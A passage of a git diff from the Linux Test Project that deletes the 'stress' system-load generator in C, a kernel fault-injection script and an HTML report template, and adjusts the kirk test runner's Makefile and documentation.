- if ((WIFEXITED(status)) != 0) { - if ((ret = WEXITSTATUS(status)) != 0) { - err(stderr, - "hogvm worker %i exited %i\n", pid, - ret); - retval += ret; - } else { - dbg(stdout, - "<-- hogvm worker exited (%i)\n", - pid); - } - } else { - dbg(stdout, "<-- hogvm worker signalled (%i)\n", - pid); - } - - --i; - } else { - dbg(stdout, "wait() returned error: %s\n", - strerror(errno)); - err(stderr, "detected missing hogvm worker children\n"); - ++retval; - break; - } - } - - return retval; -} - -int hoghdd(long long forks, int clean, long long files, long long bytes) -{ - long long i, j; - int fd, pid, retval = 0; - int chunk = (1024 * 1024) - 1; /* Minimize slow writing. */ - char buff[chunk]; - - /* Make local copies of global variables. */ - int ignore = global_ignore; - int retry = global_retry; - int timeout = global_timeout; - long backoff = global_backoff * forks; - - /* Initialize buffer with some random ASCII data. */ - dbg(stdout, "seeding buffer with random data\n"); - for (i = 0; i < chunk - 1; i++) { - j = rand(); - j = (j < 0) ? -j : j; - j %= 95; - j += 32; - buff[i] = j; - } - buff[i] = '\n'; - - dbg(stdout, "using backoff sleep of %lius for hoghdd\n", backoff); - - for (i = 0; forks == 0 || i < forks; i++) { - switch (pid = fork()) { - case 0: /* child */ - alarm(timeout); - - /* Use a backoff sleep to ensure we get good fork throughput. */ - usleep(backoff); - - while (1) { - for (i = 0; i < files; i++) { - char name[] = "./stress.XXXXXX"; - - if ((fd = mkstemp(name)) < 0) { - perror("mkstemp"); - err(stderr, "mkstemp failed\n"); - exit(1); - } - - if (clean == 0) { - dbg(stdout, "unlinking %s\n", - name); - if (unlink(name)) { - err(stderr, - "unlink failed\n"); - exit(1); - } - } - - dbg(stdout, "fast writing to %s\n", - name); - for (j = 0; - bytes == 0 || j + chunk < bytes; - j += chunk) { - if (write(fd, buff, chunk) != - chunk) { - err(stderr, - "write failed\n"); - exit(1); - } - } - - dbg(stdout, "slow writing to %s\n", - name); - for (; bytes == 0 || j < bytes - 1; j++) { - if (write(fd, "Z", 1) != 1) { - err(stderr, - "write failed\n"); - exit(1); - } - } - if (write(fd, "\n", 1) != 1) { - err(stderr, "write failed\n"); - exit(1); - } - ++j; - - dbg(stdout, - "closing %s after writing %lli bytes\n", - name, j); - close(fd); - - if (clean == 1) { - if (unlink(name)) { - err(stderr, - "unlink failed\n"); - exit(1); - } - } - } - if (retval == 0) { - dbg(stdout, - "hoghdd worker starting over\n"); - continue; - } - - exit(retval); - } - - /* This case never falls through; alarm signal can cause exit. */ - case -1: /* error */ - if (ignore) { - ++retval; - wrn(stderr, - "hoghdd worker fork failed, continuing\n"); - usleep(retry); - continue; - } - - err(stderr, "hoghdd worker fork failed\n"); - return 1; - default: /* parent */ - dbg(stdout, "--> hoghdd worker forked (%i)\n", pid); - } - } - - /* Wait for our children to exit. */ - while (i) { - int status, ret; - - if ((pid = wait(&status)) > 0) { - if ((WIFEXITED(status)) != 0) { - if ((ret = WEXITSTATUS(status)) != 0) { - err(stderr, - "hoghdd worker %i exited %i\n", pid, - ret); - retval += ret; - } else { - dbg(stdout, - "<-- hoghdd worker exited (%i)\n", - pid); - } - } else { - dbg(stdout, - "<-- hoghdd worker signalled (%i)\n", pid); - } - - --i; - } else { - dbg(stdout, "wait() returned error: %s\n", - strerror(errno)); - err(stderr, - "detected missing hoghdd worker children\n"); - ++retval; - break; - } - } - - return retval; -} diff --git a/ltp/tools/genload/stress.c b/ltp/tools/genload/stress.c deleted file mode 100644 index a19d519f..00000000 --- a/ltp/tools/genload/stress.c +++ /dev/null @@ -1,898 +0,0 @@ -/* A program to put stress on a POSIX system (stress). - * - * Copyright (C) 2001, 2002 Amos Waterland <awaterl@yahoo.com> - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of the GNU General Public License as published by the Free - * Software Foundation; either version 2 of the License, or (at your option) - * any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for - * more details. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write to the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - */ - -#include <ctype.h> -#include <errno.h> -#include <libgen.h> -#include <math.h> -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <signal.h> -#include <time.h> -#include <unistd.h> -#include <sys/wait.h> - -/* By default, print all messages of severity info and above. */ -static int global_debug = 2; - -/* By default, just print warning for non-critical errors. */ -static int global_ignore = 1; - -/* By default, retry on non-critical errors every 50ms. */ -static int global_retry = 50000; - -/* By default, use this as backoff coefficient for good fork throughput. */ -static int global_backoff = 3000; - -/* By default, do not timeout. */ -static int global_timeout = 0; - -/* Name of this program */ -static char *global_progname = PACKAGE; - -/* By default, do not hang after allocating memory. */ -static int global_vmhang = 0; - -/* Implemention of runtime-selectable severity message printing. */ -#define dbg if (global_debug >= 3) \ - fprintf (stdout, "%s: debug: (%d) ", global_progname, __LINE__), \ - fprintf -#define out if (global_debug >= 2) \ - fprintf (stdout, "%s: info: ", global_progname), \ - fprintf -#define wrn if (global_debug >= 1) \ - fprintf (stderr, "%s: warn: (%d) ", global_progname, __LINE__), \ - fprintf -#define err if (global_debug >= 0) \ - fprintf (stderr, "%s: error: (%d) ", global_progname, __LINE__), \ - fprintf - -/* Implementation of check for option argument correctness. */ -#define assert_arg(A) \ - if (++i == argc || ((arg = argv[i])[0] == '-' && \ - !isdigit ((int)arg[1]) )) \ - { \ - err (stderr, "missing argument to option '%s'\n", A); \ - exit (1); \ - } - -/* Prototypes for utility functions. */ -int usage(int status); -int version(int status); -long long atoll_s(const char *nptr); -long long atoll_b(const char *nptr); - -/* Prototypes for the worker functions. */ -int hogcpu(long long forks); -int hogio(long long forks); -int hogvm(long long forks, long long chunks, long long bytes); -int hoghdd(long long forks, int clean, long long files, long long bytes); - -int main(int argc, char **argv) -{ - int i, pid, children = 0, retval = 0; - long starttime, stoptime, runtime; - - /* Variables that indicate which options have been selected. */ - int do_dryrun = 0; - int do_timeout = 0; - int do_cpu = 0; /* Default to 1 fork. */ - long long do_cpu_forks = 1; - int do_io = 0; /* Default to 1 fork. */ - long long do_io_forks = 1; - int do_vm = 0; /* Default to 1 fork, 1 chunk of 256MB. */ - long long do_vm_forks = 1; - long long do_vm_chunks = 1; - long long do_vm_bytes = 256 * 1024 * 1024; - int do_hdd = 0; /* Default to 1 fork, clean, 1 file of 1GB. */ - long long do_hdd_forks = 1; - int do_hdd_clean = 0; - long long do_hdd_files = 1; - long long do_hdd_bytes = 1024 * 1024 * 1024; - - /* Record our start time. */ - if ((starttime = time(NULL)) == -1) { - err(stderr, "failed to acquire current time\n"); - exit(1); - } - - /* SuSv3 does not define any error conditions for this function. */ - global_progname = basename(argv[0]); - - /* For portability, parse command line options without getopt_long. */ - for (i = 1; i < argc; i++) { - char *arg = argv[i]; - - if (strcmp(arg, "--help") == 0 || strcmp(arg, "-?") == 0) { - usage(0); - } else if (strcmp(arg, "--version") == 0) { - version(0); - } else if (strcmp(arg, "--verbose") == 0 - || strcmp(arg, "-v") == 0) { - global_debug = 3; - } else if (strcmp(arg, "--quiet") == 0 - || strcmp(arg, "-q") == 0) { - global_debug = 0; - } else if (strcmp(arg, "--dry-run") == 0 - || strcmp(arg, "-n") == 0) { - do_dryrun = 1; - } else if (strcmp(arg, "--no-retry") == 0) { - global_ignore = 0; - dbg(stdout, - "turning off ignore of non-critical errors"); - } else if (strcmp(arg, "--retry-delay") == 0) { - assert_arg("--retry-delay"); - global_retry = atoll(arg); - dbg(stdout, "setting retry delay to %dus\n", - global_retry); - } else if (strcmp(arg, "--backoff") == 0) { - assert_arg("--backoff"); - global_backoff = atoll(arg); - if (global_backoff < 0) { - err(stderr, "invalid backoff factor: %i\n", - global_backoff); - exit(1); - } - dbg(stdout, "setting backoff coeffient to %dus\n", - global_backoff); - } else if (strcmp(arg, "--timeout") == 0 - || strcmp(arg, "-t") == 0) { - do_timeout = 1; - assert_arg("--timeout"); - global_timeout = atoll_s(arg); - dbg(stdout, "setting timeout to %ds\n", global_timeout); - } else if (strcmp(arg, "--cpu") == 0 || strcmp(arg, "-c") == 0) { - do_cpu = 1; - assert_arg("--cpu"); - do_cpu_forks = atoll_b(arg); - } else if (strcmp(arg, "--io") == 0 || strcmp(arg, "-i") == 0) { - do_io = 1; - assert_arg("--io"); - do_io_forks = atoll_b(arg); - } else if (strcmp(arg, "--vm") == 0 || strcmp(arg, "-m") == 0) { - do_vm = 1; - assert_arg("--vm"); - do_vm_forks = atoll_b(arg); - } else if (strcmp(arg, "--vm-chunks") == 0) { - assert_arg("--vm-chunks"); - do_vm_chunks = atoll_b(arg); - } else if (strcmp(arg, "--vm-bytes") == 0) { - assert_arg("--vm-bytes"); - do_vm_bytes = atoll_b(arg); - } else if (strcmp(arg, "--vm-hang") == 0) { - global_vmhang = 1; - } else if (strcmp(arg, "--hdd") == 0 || strcmp(arg, "-d") == 0) { - do_hdd = 1; - assert_arg("--hdd"); - do_hdd_forks = atoll_b(arg); - } else if (strcmp(arg, "--hdd-noclean") == 0) { - do_hdd_clean = 2; - } else if (strcmp(arg, "--hdd-files") == 0) { - assert_arg("--hdd-files"); - do_hdd_files = atoll_b(arg); - } else if (strcmp(arg, "--hdd-bytes") == 0) { - assert_arg("--hdd-bytes"); - do_hdd_bytes = atoll_b(arg); - } else { - err(stderr, "unrecognized option: %s\n", arg); - exit(1); - } - } - - /* Hog CPU option. */ - if (do_cpu) { - out(stdout, "dispatching %lli hogcpu forks\n", do_cpu_forks); - - switch (pid = fork()) { - case 0: /* child */ - if (do_dryrun) - exit(0); - exit(hogcpu(do_cpu_forks)); - case -1: /* error */ - err(stderr, "hogcpu dispatcher fork failed\n"); - exit(1); - default: /* parent */ - children++; - dbg(stdout, "--> hogcpu dispatcher forked (%i)\n", pid); - } - } - - /* Hog I/O option. */ - if (do_io) { - out(stdout, "dispatching %lli hogio forks\n", do_io_forks); - - switch (pid = fork()) { - case 0: /* child */ - if (do_dryrun) - exit(0); - exit(hogio(do_io_forks)); - case -1: /* error */ - err(stderr, "hogio dispatcher fork failed\n"); - exit(1); - default: /* parent */ - children++; - dbg(stdout, "--> hogio dispatcher forked (%i)\n", pid); - } - } - - /* Hog VM option. */ - if (do_vm) { - out(stdout, - "dispatching %lli hogvm forks, each %lli chunks of %lli bytes\n", - do_vm_forks, do_vm_chunks, do_vm_bytes); - - switch (pid = fork()) { - case 0: /* child */ - if (do_dryrun) - exit(0); - exit(hogvm(do_vm_forks, do_vm_chunks, do_vm_bytes)); - case -1: /* error */ - err(stderr, "hogvm dispatcher fork failed\n"); - exit(1); - default: /* parent */ - children++; - dbg(stdout, "--> hogvm dispatcher forked (%i)\n", pid); - } - } - - /* Hog HDD option. */ - if (do_hdd) { - out(stdout, "dispatching %lli hoghdd forks, each %lli files of " - "%lli bytes\n", do_hdd_forks, do_hdd_files, do_hdd_bytes); - - switch (pid = fork()) { - case 0: /* child */ - if (do_dryrun) - exit(0); - exit(hoghdd - (do_hdd_forks, do_hdd_clean, do_hdd_files, - do_hdd_bytes)); - case -1: /* error */ - err(stderr, "hoghdd dispatcher fork failed\n"); - exit(1); - default: /* parent */ - children++; - dbg(stdout, "--> hoghdd dispatcher forked (%i)\n", pid); - } - } - - /* We have no work to do, so bail out. */ - if (children == 0) - usage(0); - - /* Wait for our children to exit. */ - while (children) { - int status, ret; - - if ((pid = wait(&status)) > 0) { - if ((WIFEXITED(status)) != 0) { - if ((ret = WEXITSTATUS(status)) != 0) { - err(stderr, - "dispatcher %i returned error %i\n", - pid, ret); - retval += ret; - } else { - dbg(stdout, - "<-- dispatcher return (%i)\n", - pid); - } - } else { - err(stderr, - "dispatcher did not exit normally\n"); - ++retval; - } - - --children; - } else { - dbg(stdout, "wait() returned error: %s\n", - strerror(errno)); - err(stderr, "detected missing dispatcher children\n"); - ++retval; - break; - } - } - - /* Record our stop time. */ - if ((stoptime = time(NULL)) == -1) { - err(stderr, "failed to acquire current time\n"); - exit(1); - } - - /* Calculate our runtime. */ - runtime = stoptime - starttime; - - /* Print final status message. */ - if (retval) { - err(stderr, "failed run completed in %lis\n", runtime); - } else { - out(stdout, "successful run completed in %lis\n", runtime); - } - - exit(retval); -} - -int usage(int status) -{ - char *mesg = - "`%s' imposes certain types of compute stress on your system\n\n" - "Usage: %s [OPTION [ARG]] ...\n\n" - " -?, --help show this help statement\n" - " --version show version statement\n" - " -v, --verbose be verbose\n" - " -q, --quiet be quiet\n" - " -n, --dry-run show what would have been done\n" - " --no-retry exit rather than retry non-critical errors\n" - " --retry-delay n wait n us before continuing past error\n" - " -t, --timeout n timeout after n seconds\n" - " --backoff n wait for factor of n us before starting work\n" - " -c, --cpu n spawn n procs spinning on sqrt()\n" - " -i, --io n spawn n procs spinning on sync()\n" - " -m, --vm n spawn n procs spinning on malloc()\n" - " --vm-chunks c malloc c chunks (default is 1)\n" - " --vm-bytes b malloc chunks of b bytes (default is 256MB)\n" - " --vm-hang hang in a sleep loop after memory allocated\n" - " -d, --hdd n spawn n procs spinning on write()\n" - " --hdd-noclean do not unlink file to which random data written\n" - " --hdd-files f write to f files (default is 1)\n" - " --hdd-bytes b write b bytes (default is 1GB)\n\n" - "Infinity is denoted with 0. For -m, -d: n=0 means infinite redo,\n" - "n<0 means redo abs(n) times. Valid suffixes are m,h,d,y for time;\n" - "k,m,g for size.\n\n"; - - fprintf(stdout, mesg, global_progname, global_progname); - - if (status <= 0) - exit(-1 * status); - - return 0; -} - -int version(int status) -{ - char *mesg = "%s %s\n"; - - fprintf(stdout, mesg, global_progname, VERSION); - - if (status <= 0) - exit(-1 * status); - - return 0; -} - -/* Convert a string representation of a number with an optional size suffix - * to a long long. - */ -long long atoll_b(const char *nptr) -{ - int pos; - char suffix; - long long factor = 1; - - if ((pos = strlen(nptr) - 1) < 0) { - err(stderr, "invalid string\n"); - exit(1); - } - - switch (suffix = nptr[pos]) { - case 'k': - case 'K': - factor = 1024; - break; - case 'm': - case 'M': - factor = 1024 * 1024; - break; - case 'g': - case 'G': - factor = 1024 * 1024 * 1024; - break; - default: - if (suffix < '0' || suffix > '9') { - err(stderr, "unrecognized suffix: %c\n", suffix); - exit(1); - } - } - - factor = atoll(nptr) * factor; - - return factor; -} - -/* Convert a string representation of a number with an optional time suffix - * to a long long. - */ -long long atoll_s(const char *nptr) -{ - int pos; - char suffix; - long long factor = 1; - - if ((pos = strlen(nptr) - 1) < 0) { - err(stderr, "invalid string\n"); - exit(1); - } - - switch (suffix = nptr[pos]) { - case 's': - case 'S': - factor = 1; - break; - case 'm': - case 'M': - factor = 60; - break; - case 'h': - case 'H': - factor = 60 * 60; - break; - case 'd': - case 'D': - factor = 60 * 60 * 24; - break; - case 'y': - case 'Y': - factor = 60 * 60 * 24 * 360; - break; - default: - if (suffix < '0' || suffix > '9') { - err(stderr, "unrecognized suffix: %c\n", suffix); - exit(1); - } - } - - factor = atoll(nptr) * factor; - - return factor; -} - -int hogcpu(long long forks) -{ - long long i; - double d; - int pid, retval = 0; - - /* Make local copies of global variables. */ - int ignore = global_ignore; - int retry = global_retry; - int timeout = global_timeout; - long backoff = global_backoff * forks; - - dbg(stdout, "using backoff sleep of %lius for hogcpu\n", backoff); - - for (i = 0; forks == 0 || i < forks; i++) { - switch (pid = fork()) { - case 0: /* child */ - alarm(timeout); - - /* Use a backoff sleep to ensure we get good fork throughput. */ - usleep(backoff); - - while (1) - d = sqrt(rand()); - - /* This case never falls through; alarm signal can cause exit. */ - case -1: /* error */ - if (ignore) { - ++retval; - wrn(stderr, - "hogcpu worker fork failed, continuing\n"); - usleep(retry); - continue; - } - - err(stderr, "hogcpu worker fork failed\n"); - return 1; - default: /* parent */ - dbg(stdout, "--> hogcpu worker forked (%i)\n", pid); - } - } - - /* Wait for our children to exit. */ - while (i) { - int status, ret; - - if ((pid = wait(&status)) > 0) { - if ((WIFEXITED(status)) != 0) { - if ((ret = WEXITSTATUS(status)) != 0) { - err(stderr, - "hogcpu worker %i exited %i\n", pid, - ret); - retval += ret; - } else { - dbg(stdout, - "<-- hogcpu worker exited (%i)\n", - pid); - } - } else { - dbg(stdout, - "<-- hogcpu worker signalled (%i)\n", pid); - } - - --i; - } else { - dbg(stdout, "wait() returned error: %s\n", - strerror(errno)); - err(stderr, - "detected missing hogcpu worker children\n"); - ++retval; - break; - } - } - - return retval; -} - -int hogio(long long forks) -{ - long long i; - int pid, retval = 0; - - /* Make local copies of global variables. */ - int ignore = global_ignore; - int retry = global_retry; - int timeout = global_timeout; - long backoff = global_backoff * forks; - - dbg(stdout, "using backoff sleep of %lius for hogio\n", backoff); - - for (i = 0; forks == 0 || i < forks; i++) { - switch (pid = fork()) { - case 0: /* child */ - alarm(timeout); - - /* Use a backoff sleep to ensure we get good fork throughput. */ - usleep(backoff); - - while (1) - sync(); - - /* This case never falls through; alarm signal can cause exit. */ - case -1: /* error */ - if (ignore) { - ++retval; - wrn(stderr, - "hogio worker fork failed, continuing\n"); - usleep(retry); - continue; - } - - err(stderr, "hogio worker fork failed\n"); - return 1; - default: /* parent */ - dbg(stdout, "--> hogio worker forked (%i)\n", pid); - } - } - - /* Wait for our children to exit. */ - while (i) { - int status, ret; - - if ((pid = wait(&status)) > 0) { - if ((WIFEXITED(status)) != 0) { - if ((ret = WEXITSTATUS(status)) != 0) { - err(stderr, - "hogio worker %i exited %i\n", pid, - ret); - retval += ret; - } else { - dbg(stdout, - "<-- hogio worker exited (%i)\n", - pid); - } - } else { - dbg(stdout, "<-- hogio worker signalled (%i)\n", - pid); - } - - --i; - } else { - dbg(stdout, "wait() returned error: %s\n", - strerror(errno)); - err(stderr, "detected missing hogio worker children\n"); - ++retval; - break; - } - } - - return retval; -} - -int hogvm(long long forks, long long chunks, long long bytes) -{ - long long i, j, k; - int pid, retval = 0; - char **ptr; - - /* Make local copies of global variables. */ - int ignore = global_ignore; - int retry = global_retry; - int timeout = global_timeout; - long backoff = global_backoff * forks; - - dbg(stdout, "using backoff sleep of %lius for hogvm\n", backoff); - - if (bytes == 0) { - /* 512MB is guess at the largest value can than be malloced at once. */ - bytes = 512 * 1024 * 1024; - } - - for (i = 0; forks == 0 || i < forks; i++) { - switch (pid = fork()) { - case 0: /* child */ - alarm(timeout); - - /* Use a backoff sleep to ensure we get good fork throughput. */ - usleep(backoff); - - /* If chunks is 0, ptr will allocate 0 bytes's - * memory, it will cause the process to crash - * during runtime, so adjust to 1 */ - if (chunks == 0) - chunks = 1; - - while (1) { - ptr = (char **)malloc(chunks * - sizeof(char *)); - for (j = 0; j < chunks; j++) { - if ((ptr[j] = - (char *)malloc(bytes * - sizeof(char)))) { - for (k = 0; k < bytes; k++) - ptr[j][k] = 'Z'; /* Ensure that COW happens. */ - dbg(stdout, - "hogvm worker malloced %lli bytes\n", - k); - } else if (ignore) { - ++retval; - wrn(stderr, - "hogvm malloc failed, continuing\n"); - usleep(retry); - continue; - } else { - ++retval; - err(stderr, - "hogvm malloc failed\n"); - break; - } - } - if (global_vmhang && retval == 0) { - dbg(stdout, - "sleeping forever with allocated memory\n"); - while (1) - sleep(1024); - } - if (retval == 0) { - dbg(stdout, - "hogvm worker freeing memory and starting over\n"); - for (j = 0; j < chunks; j++) - free(ptr[j]); - free(ptr); - continue; - } - - exit(retval); - } - - /* This case never falls through; alarm signal can cause exit. */ - case -1: /* error */ - if (ignore) { - ++retval; - wrn(stderr, - "hogvm worker fork failed, continuing\n"); - usleep(retry); - continue; - } - - err(stderr, "hogvm worker fork failed\n"); - return 1; - default: /* parent */ - dbg(stdout, "--> hogvm worker forked (%i)\n", pid); - } - } - - /* Wait for our children to exit. */ - while (i) { - int status, ret; - - if ((pid = wait(&status)) > 0) { - if ((WIFEXITED(status)) != 0) { - if ((ret = WEXITSTATUS(status)) != 0) { - err(stderr, - "hogvm worker %i exited %i\n", pid, - ret); - retval += ret; - } else { - dbg(stdout, - "<-- hogvm worker exited (%i)\n", - pid); - } - } else { - dbg(stdout, "<-- hogvm worker signalled (%i)\n", - pid); - } - - --i; - } else { - dbg(stdout, "wait() returned error: %s\n", - strerror(errno)); - err(stderr, "detected missing hogvm worker children\n"); - ++retval; - break; - } - } - - return retval; -} - -int hoghdd(long long forks, int clean, long long files, long long bytes) -{ - long long i, j; - int fd, pid, retval = 0; - int chunk = (1024 * 1024) - 1; /* Minimize slow writing. */ - char buff[chunk]; - - /* Make local copies of global variables. */ - int ignore = global_ignore; - int retry = global_retry; - int timeout = global_timeout; - long backoff = global_backoff * forks; - - /* Initialize buffer with some random ASCII data. */ - dbg(stdout, "seeding buffer with random data\n"); - for (i = 0; i < chunk - 1; i++) { - j = rand(); - j = (j < 0) ? -j : j; - j %= 95; - j += 32; - buff[i] = j; - } - buff[i] = '\n'; - - dbg(stdout, "using backoff sleep of %lius for hoghdd\n", backoff); - - for (i = 0; forks == 0 || i < forks; i++) { - switch (pid = fork()) { - case 0: /* child */ - alarm(timeout); - - /* Use a backoff sleep to ensure we get good fork throughput. */ - usleep(backoff); - - while (1) { - for (i = 0; i < files; i++) { - char name[] = "./stress.XXXXXX"; - - if ((fd = mkstemp(name)) < 0) { - perror("mkstemp"); - err(stderr, "mkstemp failed\n"); - exit(1); - } - - if (clean == 0) { - dbg(stdout, "unlinking %s\n", - name); - if (unlink(name)) { - err(stderr, - "unlink failed\n"); - exit(1); - } - } - - dbg(stdout, "fast writing to %s\n", - name); - for (j = 0; - bytes == 0 || j + chunk < bytes; - j += chunk) { - if (write(fd, buff, chunk) != - chunk) { - err(stderr, - "write failed\n"); - exit(1); - } - } - - dbg(stdout, "slow writing to %s\n", - name); - for (; bytes == 0 || j < bytes - 1; j++) { - if (write(fd, "Z", 1) != 1) { - err(stderr, - "write failed\n"); - exit(1); - } - } - if (write(fd, "\n", 1) != 1) { - err(stderr, "write failed\n"); - exit(1); - } - ++j; - - dbg(stdout, - "closing %s after writing %lli bytes\n", - name, j); - close(fd); - - if (clean == 1) { - if (unlink(name)) { - err(stderr, - "unlink failed\n"); - exit(1); - } - } - } - if (retval == 0) { - dbg(stdout, - "hoghdd worker starting over\n"); - continue; - } - - exit(retval); - } - - /* This case never falls through; alarm signal can cause exit. */ - case -1: /* error */ - if (ignore) { - ++retval; - wrn(stderr, - "hoghdd worker fork failed, continuing\n"); - usleep(retry); - continue; - } - - err(stderr, "hoghdd worker fork failed\n"); - return 1; - default: /* parent */ - dbg(stdout, "--> hoghdd worker forked (%i)\n", pid); - } - } - - /* Wait for our children to exit. */ - while (i) { - int status, ret; - - if ((pid = wait(&status)) > 0) { - if ((WIFEXITED(status)) != 0) { - if ((ret = WEXITSTATUS(status)) != 0) { - err(stderr, - "hoghdd worker %i exited %i\n", pid, - ret); - retval += ret; - } else { - dbg(stdout, - "<-- hoghdd worker exited (%i)\n", - pid); - } - } else { - dbg(stdout, - "<-- hoghdd worker signalled (%i)\n", pid); - } - - --i; - } else { - dbg(stdout, "wait() returned error: %s\n", - strerror(errno)); - err(stderr, - "detected missing hoghdd worker children\n"); - ++retval; - break; - } - } - - return retval; -} diff --git a/ltp/tools/html_report_header.txt b/ltp/tools/html_report_header.txt deleted file mode 100644 index b3da2c54..00000000 --- a/ltp/tools/html_report_header.txt +++ /dev/null @@ -1,56 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US"> -<head> - <title>Linux Test Project - Results - - - -

LTP Output/Log

- - - - - - - - - - - -
 PASSED  FAILED  WARNING  BROKEN  RETIRED  CONFIG-ERROR 
-
-Meaning of the following KEYWORDS in test results/logs: -
-
  • TPASS - Indicates that the test case had the expected result and passed
  • -
  • TFAIL - Indicates that the test case had an unexpected result and failed.
  • -
  • TBROK - Indicates that the remaining test cases are broken and will not execute correctly, because some precondition not met, such as a resource not being available.
  • -
  • TCONF - Indicates that the test case was not written to run on the current harware or software configuration such as machine type, or, kernel version.
  • -
  • TWARN - Indicates that the test case experienced an unexpected or undesirable event that should not affect the test itself such as being unable to cleanup resources after the test finished.
  • -
  • TINFO - Specifies useful information about the status of the test that does not affect the result and does not indicate a problem.
  • -
    - -
    -
    -
  • Click Here for Summary Report
  • -
    - -

    Detailed Report

    -
    - - - - - - - - - - - - - - - - - - diff --git a/ltp/tools/insert_kernel_faults.sh b/ltp/tools/insert_kernel_faults.sh deleted file mode 100755 index ae24ae10..00000000 --- a/ltp/tools/insert_kernel_faults.sh +++ /dev/null @@ -1,53 +0,0 @@ -#!/bin/sh -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2009 ## -## ## -## This program is free software; you can redistribute it and/or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -################################################################################ -# ## -# File : insert_kernel_faults.sh ## -# ## -# Usage: insert_kernel_faults.sh ## -# ## -# Description: This is a simple script that inserts faults at various ## -# subsystems of the kernel. Please refer to the ltp/README ## -# for the various kernel CONFIG options needed to exploit ## -# all those features ## -# ## -# Author: Subrata Modak ## -# ## -# History: Aug 11 2009 - Created - Subrata Modak. ## -# Aug 17 2009 - Changed the debugfs mount point - Subrata Modak.## -################################################################################ - -if [ -z "$1" ] - then - #Check if Useage has been proper - echo "Usage: $0 " - exit 1 -fi - -#These are the types of Subsystems where fault will be injected -#Make sure debugfs has been mounted -for FAILTYPE in fail_io_timeout fail_make_request fail_page_alloc failslab -do - echo $1 > /sys/kernel/debug/$FAILTYPE/probability - echo 100 > /sys/kernel/debug/$FAILTYPE/interval - echo -1 > /sys/kernel/debug/$FAILTYPE/times - echo 0 > /sys/kernel/debug/$FAILTYPE/space -done - diff --git a/ltp/tools/kirk/Makefile b/ltp/tools/kirk/Makefile index 7db9fc73..859afde6 100644 --- a/ltp/tools/kirk/Makefile +++ b/ltp/tools/kirk/Makefile @@ -10,11 +10,13 @@ include $(top_srcdir)/include/mk/env_pre.mk BASE_DIR := $(abspath $(DESTDIR)/$(prefix)) install: +ifneq ($(wildcard $(abs_srcdir)/kirk-src/libkirk/*.py),) mkdir -p $(BASE_DIR)/libkirk + mkdir -p $(BASE_DIR)/libkirk/channels - install -m 00644 $(top_srcdir)/tools/kirk/libkirk/*.py $(BASE_DIR)/libkirk - install -m 00775 $(top_srcdir)/tools/kirk/kirk $(BASE_DIR)/kirk - - cd $(BASE_DIR) && ln -sf kirk runltp-ng + install -m 00644 $(abs_srcdir)/kirk-src/libkirk/*.py $(BASE_DIR)/libkirk + install -m 00644 $(abs_srcdir)/kirk-src/libkirk/channels/*.py $(BASE_DIR)/libkirk/channels + install -m 00775 $(abs_srcdir)/kirk-src/kirk $(BASE_DIR)/kirk +endif include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/tools/kirk/README.rst b/ltp/tools/kirk/README.rst deleted file mode 100644 index d7e4cf71..00000000 --- a/ltp/tools/kirk/README.rst +++ /dev/null @@ -1,57 +0,0 @@ -.. SPDX-License-Identifier: GPL-2.0-or-later - -What is Kirk? -============= - -Kirk application is a fork of `runltp-ng `_ -and it's the official `LTP `_ tests -executor. It provides support for remote testing via Qemu, SSH, LTX, parallel -execution and much more. - -.. code-block:: bash - - Host information - - Hostname: susy - Python: 3.6.15 (default, Sep 23 2021, 15:41:43) [GCC] - Directory: /tmp/kirk.acer/tmp1n8pa6gy - - Connecting to SUT: host - - Starting suite: math - --------------------- - abs01: pass (0.003s) - atof01: pass (0.004s) - float_bessel: pass (1.174s) - float_exp_log: pass (1.423s) - float_iperb: pass (0.504s) - float_power: pass (1.161s) - float_trigo: pass (1.208s) - fptest01: pass (0.006s) - fptest02: pass (0.004s) - nextafter01: pass (0.001s) - - Execution time: 5.895s - - Suite: math - Total runs: 10 - Runtime: 5.488s - Passed: 22 - Failed: 0 - Skipped: 0 - Broken: 0 - Warnings: 0 - Kernel: Linux 6.4.0-150600.23.50-default - Machine: x86_64 - Arch: x86_64 - RAM: 15573156 kB - Swap: 2095424 kB - Distro: opensuse-leap 15.6 - - Disconnecting from SUT: host - -Some references: - -* `Documentation `_ -* `Source code `_ -* `Releases `_ diff --git a/ltp/tools/kirk/doc/developers/framework.rst b/ltp/tools/kirk/doc/developers/framework.rst deleted file mode 100644 index 0b4e074a..00000000 --- a/ltp/tools/kirk/doc/developers/framework.rst +++ /dev/null @@ -1,12 +0,0 @@ -.. SPDX-License-Identifier: GPL-2.0-or-later - -Implementing a new Framework -============================ - -Every testing framework has its own setup, defining tests folders, data, and -variables. For this reason, the `Framework` class provides a generic API that, -once implemented, allows you to define a specific testing framework. - -The class implementation must be included inside the `libkirk` folder and will -be used as an abstraction layer between the `kirk` scheduler and the specific -testing framewiork. diff --git a/ltp/tools/kirk/doc/developers/sut.rst b/ltp/tools/kirk/doc/developers/sut.rst deleted file mode 100644 index 7cd1ce8b..00000000 --- a/ltp/tools/kirk/doc/developers/sut.rst +++ /dev/null @@ -1,20 +0,0 @@ -.. SPDX-License-Identifier: GPL-2.0-or-later - -Implementing a new SUT -====================== - -Sometimes we need to cover complex testing scenarios, where the SUT -(System Under Test) uses particular protocols and infrastructures to -communicate with our host machine and execute test binaries. - -For this reason, `kirk` provides a plugin system to recognize custom SUT class -implementations inside the 